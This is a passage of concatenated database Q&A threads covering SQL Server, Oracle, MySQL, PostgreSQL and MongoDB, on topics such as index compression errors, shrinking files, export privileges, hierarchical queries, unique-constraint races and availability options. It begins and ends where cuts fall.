ON [app].[applicantSkill] (  [applicantID] ASC  , [dateAdded] ASC  )
INCLUDE ( [ApplicantSkillID] , [skillDetails] , [skillID] , [skillLevelID])  WITH (  PAD_INDEX = OFF, FILLFACTOR = 100  , SORT_IN_TEMPDB = OFF , IGNORE_DUP_KEY = OFF,
STATISTICS_NORECOMPUTE = OFF, ONLINE = OFF, DROP_EXISTING = OFF, DATA_COMPRESSION=PAGE, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON ) ON [NONCLUSTERED_INDEXES]

I get the following error message:

Msg 10622, Level 16, State 1, Line 18
The index 'I_applicantID' could not be created or rebuilt. A compressed index is not supported on table that contains sparse columns or a column set column.

How can I find out which one the sparse column or the data_compression should I keep?

In the MS documentation, there is a chart to estimate space savings for sparse columns.

According to said chart, if at least 86% of the values are NULL, you will have an overall savings of at least 40% for this column. Each TINYINT value is going to take up 5 bytes versus the normal 1 byte in this scenario.

You can compare this with the compression savings by using sp_estimate_data_compression_savings for the proposed index.

This should give you enough information to make an informed decision about which is the right approach.

Resources:

sp_sizeoptimiser Uses statistics to automatically recommend changing a column to sparse if it meets the threshold to reclaim at least 40% space. Disclaimer: I wrote it!


Oracle - Can't login with "/ as sysdba", but can with "sys as sysdba" I've been working on setting up a docker container running Oracle DB XE 18.4.0. I have the container built from Oracle's dockerfiles and it is working fine, except that I cannot login using

connect / as sysdba

in a sqlplus prompt from inside the container, but

connect sys as sysdba

does work. The error message that I receive is

ORA-01017: invalid username/password; logon denied

I checked that my $ORACLE_HOME and $ORACLE_SID environment variables were set and they look fine. I'm trying to install APEX in this container and the first error that is displayed when running the install script is the failed login error above where the script runs connect / as sysdba.

When installing Apex on the local instance of Oracle DB on my development environment, Everything works as expected.

I am working from a Windows 10 (1803) machine which is running docker 18.03.0-ce with a VirtualBox 6.0.2 setup.

Thanks to @BalazsPapp who pointed this out in the comment to my question.

To use conn / as sysdba, I had to be logged in as the user oracle instead of root.

Switching to the oracle user and attempting to login again solved the problem.


Exist on table from linked Server giving Error 4104 I am comparing two tables on different Servers and the query I am running looks like this:

Select top 100 *
From [ServerA].[MyDB].[dbo].[Table1]
    Where Exists( Select * from [ServerB].[TheirDB].[dbo].[TableA1]
    Where [ServerA].[MyDB].[dbo].[Table1].[foo] = [ServerB].[TheirDB].[dbo].[TableA1].[bar])

This is not working and throwing error 4104 on [ServerB].[TheirDB].[dbo].[TableA1].[bar] even though bar is a valid column and

Select * from [ServerB].[TheirDB].[dbo].[TableA1]

Works fine

The 4104 error occurs because you are using 5 part naming in your where clause.

For example:

SELECT TOP 100 *
FROM [ServerA].[MyDB].[dbo].[Table1]
WHERE [ServerA].[MyDB].[dbo].[Table1].[foo]=5;

Will throw the error:

Msg 4104, Level 16, State 1, Line 17
The multi-part identifier "[ServerA].[MyDB].[dbo].[Table1].[foo]"  could not be bound.

Solution: using aliases

SELECT top 100 *
FROM [ServerA].[MyDB].[dbo].[Table1] AS T1
WHERE Exists( SELECT * FROM [ServerB].[TheirDB].[dbo].[TableA1] AS T2
              WHERE T1.[foo] = T2.[bar]);


SQL Server CLR procedures and SQLCLR_QUANTUM_PUNISHMENT I have a CLR stored procedure running on SQL Server 2014.  This stored procedure gathers some data (generally numbering in the tens-of-thousands of rows range), runs some computations on the data, generating an output dataset, and writes that output dataset to a couple of destination tables.  For small runs, this takes a few seconds.  For our larger runs, it's currently taking about 25 minutes.  During that 25 minutes, we have observed a significant number of SQLCLR_QUANTUM_PUNISHMENT waits.  So I'm trying to educate myself on what we can do to reduce the occurrence of these waits.  I've found plenty of resources that tell me, "Occurs when a CLR task is throttled because it has exceeded its execution quantum. This throttling is done in order to reduce the effect of this resource-intensive task on other tasks."  And I've read that SQL Server's execution quantum is 4ms.  So am I to assume that any time a CLR stored procedure or function takes more that 4ms of CPU time, this wait type will occur?

Also, I found a reference indicating that some CLR procedures should be yielding.  Now, our CLR procedure is single-threaded.  I can certainly add some sleep calls at key places and see what kind of affect that has.  But I would like to have a better understanding of what's going on.  So if anyone has some good knowledge to share or has a link to a good document/article, I would appreciate it.  Finding information about this wait type beyond that BOL quote has been a bit difficult.

Unfortunately there is not a lot of information out there on this topic. I can say that yes, you certainly should add the Thread.Sleep(0); to various places in your code. Doing so gives SQL Server an opportunity to control the thread. This is not necessary in places that are doing data access (i.e. SqlClient stuff) as SQL Server already has the ability to manage that.

Also, @Remus Rusanu, in another question (perhaps on Stack Overflow) had recommended using Thread.BeginThreadAffinity / Thread.EndThreadAffinity to manage long-running processes, but using those requires that the Assembly be set to UNSAFE.


SQL Server CPU Issues We've inherited some SQL server 2014 databases, they are running on Azure IaaS.  We're getting complaints about performance and trying to get a grip on it.  We're starting to look at CPU performance, and run the following test (all tests are running on database machine itself, ie not via network):

SET NOCOUNT ON
DECLARE @Loops INT SET @Loops = 1
DECLARE @RESULT INT

WHILE @Loops <= 2000000
BEGIN
    IF COALESCE('123', '456') = '456'
            SET @RESULT = 1
    SET @Loops = @Loops + 1
END

GO

On Production machine, 16 Virtual Processors (20 to 30% busy), we get the following result:

Completes in 3 minutes

On test machine, 4 Virtual Processors (also around 20 to 30% busy) we get the following:

Completes in 1 second

I've tried running a few benchmarks on the production machine, but they don't show any problems, and always show the production machine CPU at least twice as powerful as test machine.

Is there some SQL Server setting that might be configured wrongly?  Any idea how to troubleshoot this issue?

Other Infrastructure Information:

Both databases have

"max degree of parallelism"set to 1
"cost threshold for parallelism" set to 5
Azure VM storage is Premium SSD (P30)

Production (slow) is Standard_D14_v2
Test (fast) is Standard_D12_v2
Data, temp and logs are separated
Data is striped across 3 striped P20 or P30
temp on 4 striped P20 or P30
log on single P20 or P30

Note the 'problem' database is running always on Availability Group, we are wondering if that may be a factor here.

Rather than focusing on the hardware first, or the availability group even, it would be good to get a handle on what this "query" (test case) is waiting on.

To do that, you could run Paul Randal's script for Capturing wait statistics for a period of time, or sp_BlitzFirst from the open source First Responder's Kit.  Or you could just poll sp_WhoIsActive periodically and see what the test query is waiting on in each sample.

Since I'm on 2016, I'm going to use sys.dm_exec_session_wait_stats because it's super easy to do, and it's 11:30 pm and I'm tired.

I ran your test query in SSMS against one of my AG boxes (finished in less than 2 seconds), grabbed the session ID, and then ran this:

SELECT *
FROM sys.dm_exec_session_wait_stats
WHERE session_id = @spid;

The results came out like this:

I ran this from a jump box, so that explains the small amount of ASYNC_NETWORK_IO.  The other main wait there is SOS_SCHEDULER_YIELD, which makes sense - this was a CPU-bound task getting switched off the scheduler periodically (or maybe missing its quantum, this is a VM and there's other work going on as well including SSAS, AG stuff, production workload, scheduled jobs, etc).  And it was only 141 ms during a 2000-ish ms query.

I ran the same test on my local instance, which is barely doing anything other than writing this answer (query finished in 1 second):

There were no significant waits at all.

The wait stats for your benchmark should tell the story in your situation.

Any answer we could give would likely just be speculation without the wait info (maybe there's other CPU load you're not aware of on the "slow server," or the server is experiencing thread exhaustion due to the AG or other queries, or there are "poison waits" like THREADPOOL or RESOURCE_SEMAPHORE, etc).


What is the EXPORT privilege on ORACLE I have created a user say A. I want to export some of my schemas using A user.

For example, I have B and C users. I want to export B schemas using A user. Which grant do I have to use?

I am using this statement:

EXP FILE = B.DMP OWNER(B)

But it is not working. A user has only select grant on B schemas. There is no other grant A has.

Which grant do I have to use?

First, just to be certain we're covering our basis, this piece of code:

EXP FILE = B.DMP OWNER(B)

won't work. That's not a properly formatted EXP command. But assuming that you're using a properly formatted command, all that a user really needs is the EXP_FULL_DATABASE role, and they should be able to export any object in the database:

SQL> create user captjackvane identified by x default tablespace users temporary tablespace temp;

User created.

SQL> grant create session to captjackvane;

Grant succeeded.

exp userid=captjackvane/x owner=rpt file=rpt.dmp log=rpt_dmp.log resumable=Y

This results in

EXP-00032: Non-DBAs may not export other users
EXP-00000: Export terminated unsuccessfully

But when I add the grant:

SQL> grant exp_full_database to captjackvane;

Grant succeeded.

We see that I can now do the export:

About to export specified users ...
. exporting pre-schema procedural objects and actions
. exporting foreign function library names for user RPT
. exporting PUBLIC type synonyms
. exporting private type synonyms
. exporting object type definitions for user RPT
About to export RPT's objects ...
. exporting database links
. exporting sequence numbers
. exporting cluster definitions
. about to export RPT's tables via Conventional Path ...
. . exporting table               AD_HOC_FIELD_SET          2 rows exported

If you've granted this permission, then there are a few other things you may want to check. The first is the permissions on the directory you're trying to write your dump file to; your Oracle type user will need to be able to read/write in that directory.

Can you post the exact error message you're getting?


Select parent rows and include cost of children I have a WORKORDER table that has parent and child WOs in it:
with workorder as (
select 'WO37342' as wonum,      null as parent, 297.36 as actlabcost, 200 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
union all
select 'WO37427' as wonum, 'WO37342' as parent,  99.12 as actlabcost,   0 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
union all
select 'WO37429' as wonum, 'WO37342' as parent,  99.12 as actlabcost, 100 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
)
select
    *
from
    workorder

 WONUM   PARENT  ACTLABCOST ACTMATCOST ACTSERVCOST ACTTOOLCOST
 ------- ------- ---------- ---------- ----------- -----------
 WO37342             297.36        200           0           0
 WO37427 WO37342      99.12          0           0           0
 WO37429 WO37342      99.12        100           0           0

I want to select the parent rows and include the cost of the children in the parents:
 WONUM    ACTLABCOST ACTMATCOST ACTSERVCOST ACTTOOLCOST
 ------- ----------- ---------- ----------- -----------
 WO37342       495.6        300           0           0

Is there a concise way of doing this with Oracle 18c SQL?

That ability was available in Oracle 7; maybe earlier. ( doc )

Use a hierarchical query (in a CTE/sub-query) to find the children and grandchildren.
SUM() the values when you GROUP BY the parent wonum.

with workorder as (
    select 'WO37342' as wonum,      null as parent, 297.36 as actlabcost, 200 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
    union all
    select 'WO37427' as wonum, 'WO37342' as parent,  99.12 as actlabcost,   0 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
    union all
    select 'WO37429' as wonum, 'WO37342' as parent,  99.12 as actlabcost, 100 as actmatcost, 0 as actservcost, 0 as acttoolcost from dual
), hier as (
    select connect_by_root( wonum ) parent_wonum
        ,level lv
        ,a.*
    from workorder a
    start with a.parent is null
    connect by a.parent = prior(a.wonum)
)
select parent_wonum
    ,listagg(wonum,',') within group (order by lv, wonum) list_wo
    ,sum( actlabcost ) actlabcost
    ,sum( actmatcost ) actmatcost
    ,sum( actservcost ) actservcost
    ,sum( acttoolcost ) acttoolcost
from hier
group by parent_wonum


MS SQL Server: DBCC ShrinkDatabase - Does it really not shrink the database below the minimum size? Per Microsoft's documentation on DBCC ShrinkDatabase command, it shouldn't shrink the database below it's "minimum size".

But when I ran the command, my database data files' initial file sizes shrunk to a smaller size. Though I thought the initial file sizes were the "minimum size".
Or am I misunderstanding Microsoft's wording / intentions, and DBCC ShrinkDatabase is considered a "size changing operation"?

Shrink a Database:

  The database cannot be made smaller than the minimum size of the
  database. The minimum size is the size specified when the database was
  originally created, or the last explicit size set by using a
  file-size-changing operation, such as DBCC SHRINKFILE. For example, if
  a database was originally created with a size of 10 MB and grew to 100
  MB, the smallest size the database could be reduced to is 10 MB, even
  if all the data in the database has been deleted.

I.e. When Microsoft says "The database cannot be made smaller than the minimum size of the database" is that a tautology and I'm just overthinking things?

You shouldn't use DBCC SHRINKDATABASE. Shrinking files is a very extraordinary event and should be used with extreme caution and, even then, only with carefully planned commands that target individual files (DBCC SHRINKFILE is SHRINKDATABASE's friendlier, less crazy cousin.)

See this post for lots of advice around this. Usually shrinking a file is only a very temporary measure and a totally wasted effort because the file(s) will just grow again.
Minimum size and initial size are different things, and are treated differently by SHRINKFILE and SHRINKDATABASE. SHRINKDATABASE definitely will not let you go below the initial file sizes, whether you explicitly set them or inherited from model - if you are seeing this happen, please show a full repro, because I couldn't make that happen. I created the same 4GB file as below, tried a SHRINKDATABASE with a target of 99%, and it didn't budge. My guess is you got it below the current size but that was not the initial size.

SHRINKFILE will let you go below initial size. Here we create a 4GB data file, then try to shrink it down to 1MB.

    CREATE DATABASE floo ON
    (
      name = floo_data, SIZE = 4096MB, filename = 'C:\...\floo.mdf'
    )
    LOG ON
    (
      name = floo_log, SIZE = 1024MB, filename = 'C:\...\floo.ldf'
    );
    GO

    USE floo;
    GO
    SELECT name,[size_on_disk] = size*8. FROM sys.database_files;
    GO

    DBCC SHRINKFILE(floo_data, 1);
    GO
    SELECT name,[size_on_disk] = size*8. FROM sys.database_files;
    GO

Results show we don't quite get to 1MB, but we get far below both our initial size and the size set up in model (8MB in most modern systems):

One single operation made the file smaller than model (which is 8MB on my system), which is what one might expect either the minimum or initial size to be, depending on how the database is created (with or without explicitly specifying a file size).

Inheriting file size from model also allowed me to shrink the file below the initial size (which should double as the minimum in this case):

CREATE DATABASE blar; -- inherit file specs from model
GO
USE blar;
GO
SELECT name,[size_on_disk] = size*8. FROM sys.database_files;
GO

DBCC SHRINKFILE(blar, 1);
GO
SELECT name,[size_on_disk] = size*8. FROM sys.database_files;
GO

Results again show we can get below the "minimum" size and the initial size:

Again I strongly recommend you really look into whether you should ever really be shrinking these files anyway. This really should be a quite exceptional event.

Further info on analyzing reasons for tempdb data/log growth:

how to find out what process(es) caused the autogrowth of a database or a database file?
Issues with TempDB mdf file ever increasing
TempDB will not shrink. No Open Transactions
How to identify which query is filling up the tempdb transaction log?
what is the best practice for tempdb autogrowth?
Find which session is holding which temporary table
Dude, who owns that #temp table?


Import data from a CSV file without creating a table first in MySQL I want to import CSV data into mysql database.

Additionally, I dont want to create a table first and then import. That means, if my csv file name is test.csv, and its contents are like

customer_ID,name
10000000,name1
10000001,name2

I should be execute

mysql> use database {database_name}
mysql> {some_command} test.csv

And I should be able to create a table with name test and it having headers customer_ID and name and it should be populated according to contents of test.csv. Specifically some_command is the magic bullet I am looking for.

Any idea how this can be done in MySQL. While I searched I did not find a way to import CSV data without creating a table first.

There is no way to do this with MySQL own tools. If you look closer it makes sense that you have to create your table first, you have to specify datatypes for the fields of your csv file, possible indexes and so on. MySQL can´t predict which datatype you want to use, so here is some manual work to do.

On the other hand you can use external scripts to archive what you want, a quick and dirty example would be:

#!/bin/bash
# create table for import
head -1 test.csv | awk '{split($0,f,","); printf "create table test (%s INT, %s VARCHAR(50));",f[1],f[2]}' | mysql -u USER -pPASS SCHEMA
# import csv
mysql -uUSER -pPASS SCHEMA -e "LOAD DATA LOCAL INFILE 'test.csv' INTO TABLE testcsv FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\n' IGNORE 1 LINES"

Above "script" lefts plenty of room for optimization, it should only give you a basic idea how to archive what you need with common Linux tools.


Concurreny update error when using SSIS I am encountering concurrent update error when using OLE DB command to execute a update procedure in SSIS.

Below is the segment of code which will check for concurrency update. Currently I removed this segment of code in order for my procedure in SSIS to execute successfully. But should I have this segment of code? Otherwise will I encounter concurrency error?

IF @@ROWCOUNT = 0
BEGIN
    RAISERROR('ConcurrentUpdated', 16, 1)
    RETURN @@ERROR
END

This doesn't seem to be specifically an SSIS problem.

It seems to me that the logic of the original code is such that the if the previous update statement updates 0 rows that it indicates a concurrent update took place.

I'm guessing that the update statement includes one or more extra columns in the where clause on which previous values are matched. The update affecting 0 rows indicates that a concurrent update took place.

You'll need to show us the rest of the procedure to determine whether this is the case.


duplicate key violates unique constraint when using multi-threading I am using ExecutorService with a fixed thread pool of 50, and a fixed database connection pool of 50, using HikariCP. Each worker thread processes a packet (a "report"), checks if it is valid (where each report must have a unique unit_id, time, latitude and longitude), grabs a db connection from the connection pool, and then inserts the report into the reports table. The uniqueness constraint is created with postgresql and dubbed "reports_uniqueness_index". When I have high volume, I get a ton of the following error:

org.postgresql.util.PSQLException: ERROR: duplicate key value
  violates unique constraint "reports_uniqueness_index"

Here's what I believe the problem is. Before database insertion, I perform a check to determine whether a report already exists in the table with the same unit_id, time, latitude and longitude. If it doesn't then the report is valid and I perform the insertion. However, I think because I am using concurrency I have 50 threads each checking at the same moment if the report is valid and since none of them have been inserted yet, each thread thinks it has a valid report and when it goes to insert them at same moment, that is when postgresql raises the error.

I would like a solution that doesn't create any latency with the concurrency. I been trying to avoid using synchronized statement or a reentrant lock because the database insertions need to occur as quickly as possible. This is the insertion right here:

 private boolean save(){
        Connection conn=null;
        Statement stmt=null;
        int status=0;
        DbConnectionPool dbPool = DbConnectionPool.getInstance();
        String sql = = "INSERT INTO reports"
        sql += " (unit_id, time, time_secs, latitude, longitude, speed, created_at)";
        sql += " values (...)";
        try {
            conn = dbPool.getConnection();
            stmt = conn.createStatement();
            status = stmt.executeUpdate(sql);
        } catch (SQLException e) {
            return false;
        } finally {
            try {
                if (stmt != null)
                {
                    stmt.close();
                }

                if (conn != null)
                {
                    conn.close();
                }
            } catch(SQLException e){}
        }

        if(status > 0){
            return true;
        }

        return false;
}

One solution I thought of was using the Class object itself as a lock object:

synchronized(Report.class) {
    status = stmt.executeUpdate(sql);
}

But this will delay insertsion for other threads. Is there a better solution?

By creating a unique constraint on your table, you are telling the database "each time I try to insert a row in this table, please check that there is no existing row with this combination of columns the same. Oh, and make sure you do it in an atomic fashion so that if someone else tries to insert one at the same time as me, only one of us will succeed".

After doing that, in most cases there is little point in replicating the same logic in your application. It will only make the process less efficient. You would be better off to take @horse's suggestion and catch the exception.

There are a couple of things to watch out for though. One is that if you doing this inside a transaction, then the transaction will be automatically rolled back on the error. If you did anything else prior to this in the transaction, it will have been undone. To avoid this, you need to set a SAVEPOINT prior to the insert, and then RELEASE or ROLLBACK the savepoint as appropriate.

The other issue is that the postgresql log will still contain these errors, even if they are caught and ignored by the Java code. Flooding your logs with meaningless noise helps to hide true problems that might be lurking in there, so it is not a good thing.

Possibly a better solution, which avoids both of these problems, is to create a stored procedure which inserts the record, handles any exceptions which occur, and returns an indication to your application as to whether the record was stored or not.

For example, if you had a table that looked like this:

CREATE TABLE test(a INTEGER, b TEXT, UNIQUE(A,B));

Then you could have a function like this:

CREATE FUNCTION test_insert(pa INTEGER, pb TEXT) RETURNS INTEGER AS $$
BEGIN
    INSERT INTO test(a,b) VALUES (pa, pb);
    RETURN 1;
EXCEPTION
    WHEN unique_violation THEN
       RETURN -1;
END;
$$ LANGUAGE plpgsql;

and you could use it like this:

testdb=> SELECT test_insert(1,'foo');
 test_insert
-------------
           1
(1 row)

testdb=> SELECT test_insert(1,'foo');
 test_insert
-------------
          -1
(1 row)

If an attempt is made to insert a record that violates the constraint, no exception is thrown or logged, and if executed inside a transaction, the transaction is not affected. The function returns a value which you can use to see if the record was inserted or not. It is a very basic example, but should illustrate the point.


full model backup with tran logs In a sql server database with a full model backup with tran logs backed up every 15 minutes, but ,still, the log file is huge. The backups (once a day) of the db and the tran log (every 15 minutes) are regular
the log space is almost empty ... then is it good to shrink it a little?

Transactional log files keeps log records for operations on database. It is expanding when necessary by claiming new pages from OS. However, Log file doesn't shrink automatically. It will stay 10GB if you don't shrink it manually.

When log backups performed, the data on log file is marked as reusable and you can see log usage from

SSMS: Double Click on Database-> Tasks-> Shrink->File and choose Log File.
DBCC SQLPERF(logspace) command.

If your log usage is below 50 percent and log file size is big such as 10GB you may consider shrinking it. However, Shrinking is always a bit tricky in my opinion. You can claim back the space but what is the point of taking pages back if OS is going to grant it again? For instance, If batch insert is performed last night and your log file is 10GB suddenly, you can shrink it back. On the other hand, if this operation runs every night, there is no reason to shrink log file.


SQL Server 2012 High Availability on VMware virtualization We're going to host a large SQL Server 2012 under a VMware virtualization and we need it to be highly available.

These are the three options I found supported, but couldn't find a lot of info and comparison on who's better and why (and mostly - what's the disadvantages):

VMware HA - pro: cheap and easy to use and configure, just let the VM team deal with it. con: no HA for system upgrades, e.g. SQL upgrades, Windows services-packs\KBs etc.
SQL Server Failover Cluster (FCS) - pro: well known, supported, saves space (compared to AlwaysOn Availability Group), HA for system upgrades. con: I haven't heard of successful clusters over VM, or at least good ones. Heard it's a mess and to "stay away from it". A bit harder to admin, some problems may take days to figure out (no-one with a lot of knowledge).
SQL Server AlwaysOn Availability Group - pro: HA for everything! system, DB etc. con: New, added administering and hard to confiugre, new problems to deal with, double the space(!), "no strings attached" (to other servers).

That's pretty much it.

I would appreciate any info you may have about this, and would appreciate even more recommendations (hopefully based on test cases).

~Thanks.

It really depends on what you are trying to protect from and what your SLAs are.  If your goal is to protect against hardware failure and you can handle a few minutes of downtime in the event of a hardware failure then stick with the native VMware options.

If you need to protect yourself from blue screens then clustering on AlwaysOn AGs will be the way to go.  If you are just trying to protect yourself from hardware failures but you can't afford to have even a few minutes of downtime then clustering of AlwaysOn AGs will again be the way to go.

Choosing between FCI (Fully Clustered Instance) and AG will depend on what you are trying to do.  If you need to scale out reads for reporting then AG.  If storage costs are not an issue then AG.  Keep in mind that FCI will require RDMs if you are using fiber channel or iSCSI.  If you use RDMs then you have to deal with not having vMotion while the VMs are online.  With AGs you don't need RDMs so you don't have this issue.

There are lots of options available to you, it just depends on which way to go.

As for clustering under VMware, it works just fine.  I've got lots of clients who have virtualized most or all of their SQL Servers and have plenty of Windows clusters inside of VMware.


How to setup large database access/cache on LAMP environment? My application is getting very slow I guess because of the ever growing database (30+ tables some with 50,000+ rows).

Using CodeIgniter's model tier to call MySQL database, I optimized queries & views and what not but to no avail. My limited DBA skills took me so far, but I need to step up my game and learn how to do it on a larger scale.

I investigated a little deeper and found a possible direction of caching (?) in memcache, sphinx, HandlerSocket, redis. I also thought it might be logical to use a middle tier (compiled C++ ? Java?) between the DB and PHP. Also I am looking into moving my setup to the cloud (beyond regular VPS) so I will have better control over memory and setup.

Can someone please tell me if I am barking up the wrong tree here? I will read and investigate according to your answers and hand it over to a DBA pro, but I would like to understand the methodology and services I should be looking at.

Thanks.

50K rows tables are rather small. Before throwing more hardware at it, I'd recommend checking/tuning the following:

my.cnf setting: make sure you have good buffers on InnoDB buffer, Key Cache, Query cache, etc. If website is calling same queries over and over, query cache could help.
Check slow query log and optimize worst queries. It'd say this would result in best result for your efforts.

You may need to normalize some tables, but above two are least invasive options that could take your DB performance to next level.


SQL Server split mdf into multiple files I have a database called example.mdf with a total size of 1GB which suffers from performance issues. I checked the allocated hardware and it is higher than required, I double checked the design and every thing looks normal, when I look at the .mdf files in their physical location (C:\Program Files\Microsoft SQL Server\MSSQL10_50.SQLEXPRESS\MSSQL\DATA\example.mdf) I found that the database is split into multiple files example_1.mdf, example_2.mdf,  example_3.mdf, up to example_7.mdf.

I have another database file on the same SQL Server that has the same issue.

Why does this happen? Does this affect the performance? How can I prevent or stop SQL Server from splitting my .mdf files? Moreover I need to combine back the already split files.

Who ever created the database did this on purpose.  Assuming that all the database files are part of the same file group (the database properties will tell you this) then all you need to do is do a DBCC SHRINKFILE any use the EMPTYFILE parameter.

DBCC SHRINKFILE (Example_1, EMPTYFILE)
GO
ALTER DATABASE MyDatabase REMOVE FILE Example_1
GO

Do that for each of the files and all the data will be put back into a single file.  You can then delete the extra files.

Now odds are this isn't hurting your performance any, so you'll need to continue investigating why you are having performance problems.


The sort column must be the last column used in the index - MongoDB Indexing Advice MongoDB docs advices that:

  The sort column must be the last column used in the index

Here is the example:

db.foo.ensureIndex({a: 1, b: 1, c: 1})

Good:

find(a=1).sort(a)
find(a=1).sort(b)
find(a=1, b=2).sort(c)

Bad:

find(a=1).sort(c)
even though c is the last column used in the index, a is that last column used, so you can only sort on a or b.

can someone explain this. Why find(a=1).sort(c) considered as Bad?

Think of the index like the business section of the phone book.

There are multiple levels of sorts:

a would be category, like "Doctors"
b would be last name, like "Smith"
c would be first name, like "John"

The listings (rows) are sorted in order of Category -> Last Name -> First name

Using this model, how can you find doctors named John without knowing last names?  The answer is, you can't, without looking at every single record (which means not using the index).

In your working examples, you use all the fields left to right without skipping any levels.

In your non-working example, you are looking for the last field and the first without knowing anything in the middle.  You can't get to the last level without knowing what's in between.


Can you use dynamic sql in a select statement? I have the following code:

select
    [schema].[name]     [schema],
    [table].[name]      [table],
    [column].[name]     [column],
    [type].[name]       [type],
    [column].max_length [maxAllowedLength],
    exec('select max(len(' + [column].[name] + ')) from ' + [table].[name]) maxDataLength
from sys.schemas [schema]
    join sys.tables [table] on [schema].schema_id = [table].schema_id
        join sys.columns [column] on [table].object_id = [column].object_id
            join sys.types [type] on type.system_type_id = [column].system_type_id
where 1=1
and   [schema].[name] = 'dbo'
and   [table].[name]  = 'TableToAnalyze'
order by [schema].[name], [table].[name]

But it doesn't work.  Can I do what I'm trying to do?  I'd like to also add other information, like minimum length and whether there are any non-numbers, non-dates, dates, etc. to it as well, but that all depends on the basic framework.

In case it's not clear, I want one row per column in the table 'TableToAnalyze', and each row should have the schema, table, column, type, maximum allowable size, and (the part that's giving me trouble is) the maximum actual data length, all for each column in the table I'm analyzing.

It was recommended I use a cross apply, so I tried

select
    [schema].[name]     [schema],
    [table].[name]      [table],
    [column].[name]     [column],
    [type].[name]       [type],
    [column].max_length [maxAllowedLength],
    maxDataLength
from sys.schemas [schema]
    join sys.tables [table] on [schema].schema_id = [table].schema_id
        join sys.columns [column] on [table].object_id = [column].object_id
            join sys.types [type] on type.system_type_id = [column].system_type_id
            cross apply (exec('select max(len(' + [column] + ')) from ' + [table].[name])) maxDataLength
where 1=1
and   [schema].[name] = 'dbo'
and   [table].[name]  = 'TableToAnalyze'
order by [schema].[name], [table].[name]

But that doesn't work either.

You can never use dynamic SQL in a SELECT or in a function.  The Query Optimizer for the outer query wouldn't know what your dynamic batch does, and it might try changing the database.  In which case there's no way to build a correct query plan.


Twice job results in sql server, last one is left in progress I have the job MP - Create CSV which execute a package SSIS in sql server 2008, when I check for the job history I see the result at step 0, I expand and I have 2 results for the step 1.
Fist result have the icon for Success with the result :

  Message
  Executed as user: companyname\sa. The step succeeded.

The second one have the step 1 also, but with the icon for In Progress with the result :

  Message
  Microsoft (R) SQL Server Execute Package Utility
  Version 10.50.4000.0 for 64-bit
  Copyright (C) Microsoft Corporation 2010. All rights reserved.

  Started:  11:50:00 PM
  DTExec: The package execution returned DTSER_SUCCESS (0).
  Started:  11:50:00 PM
  Finished: 11:50:26 PM
  Elapsed:  26.645 seconds

My problem is I have a report to show all the job with their status not equal to 1 (success), my report do not work anymore because of this result "In progress".
Here is the sql I use to run my report :

SELECT *  from  msdb..sysjobhistory WHERE run_status != 1

My questions are why do I have 2 results for my step ? I think I should have only one. And what should I do when I have a job with a step status left "In progress" ?

For more information, my job is running daily and succeed every time, thank you.

This will give you the desired results :

select h.server as [Server],
    j.[name] as [Name],
    h.message as [Message],
    h.run_date as LastRunDate,
    h.run_time as LastRunTime
from msdb.dbo.sysjobhistory h
    inner join msdb.dbo.sysjobs j on h.job_id = j.job_id
        where j.enabled = 1 -- only check for enabled jobs
        and h.instance_id in
        (select max(h.instance_id)
            from msdb.dbo.sysjobhistory h group by (h.job_id))
        and h.run_status != 1
/*0 = Failed
1 = Succeeded
2 = Retry
3 = Canceled*/


What's the meaning of hard code query can you explain what meaning of hard code query? i'm newbie
 like this query:

Query :

SELECT Nama,
SUM(case when motor='vario' then 1 else 0 end) vario,
SUM(case when motor='beat' then 1 else 0 end) beat,
SUM(case when motor='supra'then 1 else 0 end) supra,
SUM(case when motor='megapro'then 1 else 0 end) megapro,
SUM(case when motor='cb150'then 1 else 0 end) cb150
FROM matrixreport
GROUP by Nama;

Is it hard code?

Your code seems working well. In software development, "hard code" or "hard coding" can be interpreted as "embedding your external data like SQL statement directly to your source code".

Reference:

Hard coding

Soft coding


Where can I find information on shredding xml with .nodes? I recently saw this answer on SO which uses the "local-name" value while shredding xml using .nodes(). I've never seen this before:

select T.N.value('local-name(.)', 'varchar(128)') as Name,
       T.N.value('.', 'varchar(max)') as Value
from @xml.nodes('/data/*') as T(N);

Where can I find the definitive document on commands like .nodes() and .value()?

Those methods are part of the xml data type in Sql Server, starting from 2005, since the xml data type was implemented for Sql Server 2005.

The local-name method is part of XQuery implementation of Sql Server. Its far from being a complete implementation of the XQuery specification, but it can be helpful.


Hazards of Upgrading SQL Server Express 2008 to R2 A client of mine reached the 4GB database limit on a SQL Server 2008 Express.
As a test I installed the R2 version on another machine and restored a backup of the database.

I'd like to upgrade the actual server itself, though I'm worried about what any of the pitfalls/consequences could be in addition to compromising the system stability.

This is because, additional critical applications (including an ERP I don't fully understand) are running on this machine which would require calling another company to re-install/setup.

I've given the client 3 options:

Get new hardware in order to host the R2 server there (independent of current server).
Use current setup that was a test.
Take the risk and install the update to R2 on the actual server risking the 5% (or however much it is) risk of anything in the system going unstable.

I've also thought about cloning the whole computer using clonzilla (ghost) etc, but as I'm supporting remotely this would require I travel ~ 500km.

Also, this is a serious problem as they cannot add new records to this database.

You're unlikely to run into any issues with this but that said, it's rarely caution that gets a DBA fired.

I'd probably go with installing a named instance, side-by-side with the existing instance. As you've got a test bed server up already I'd also suggest testing the application with 2012 Express. Why upgrade to an already out-dated version?


Car service database design (domain model)? First of all I know that there is no Car, Model, Manufacture... tables that I probably should make, but that is not a problem right now.

I must say that I have already made database and relational model looks like this (I simplified it, to concentrate on important), but I need to draw a conceptual (domain) model of this:

Client (clientID, name, surname, telephone)
Address (clientID, number, street, cityZipCode)
City (cityZipCode, cityName)
Visit (clientID, visitDate, totalPrice)
Service (serviceID, serviceName)
Criteria (criteriaName, size, measureUnit)
ServicePriceCriteria (serviceID, criteriaName, size, price)
VisitItem (clientID, visitDate, serviceID, criteriaName, size, quantity)

My the biggest problem was how to provide that ONE service can have different prices for different criteria (i.e., Oil Changes for the truck costs 15€. For suv same service costs 8€.... Other example is when price depends on the size of the wheel. For 14 inches wheel some service costs 10€ and the same service for 17 inches wheel costs 15€.)

So for the first example I have:

Service(123, 'Oil Changes'), Criteria('typeOfVehicle', 'Truck', null), ServicePriceCriteria(123, 'typeOfVehicle', 'Truck', 15)
